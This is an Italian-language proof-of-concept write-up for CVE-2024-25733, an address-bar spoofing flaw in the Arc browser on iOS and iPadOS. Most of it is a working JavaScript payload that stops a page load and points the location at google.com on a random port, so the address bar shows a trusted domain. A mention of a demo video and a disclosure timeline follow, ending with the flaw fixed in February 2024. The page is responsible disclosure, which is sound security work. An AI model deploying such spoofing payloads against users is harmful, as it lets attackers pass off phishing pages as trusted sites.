Spoofing della barra degli indirizzi del browser ARC - iOS/iPadOS (CVE-2024-25733)

PoC dello spoofing della barra degli indirizzi del browser ARC - iOS/iPadOS

Exploit PoC (Prova di concetto)

<script>
    function spoof() {
        setTimeout(() => {
            window.stop();
            let randomPort;
            do {
                randomPort = Math.floor(Math.random() * 1000);
            } while (randomPort === 0 || randomPort === 443);
            document.location = "https://google.com:" + randomPort + "/";
        }, 300);
    }
    spoof();
</script>

DEMO

PoC.mp4

Cronologia

• 2024-01-25 : Vulnerabilità segnalata a The Browser Company of New York
• 2024-01-25 : Riconosciuta come vulnerabilità di sicurezza
• 2024-02-13 : Corretta nell'ultima versione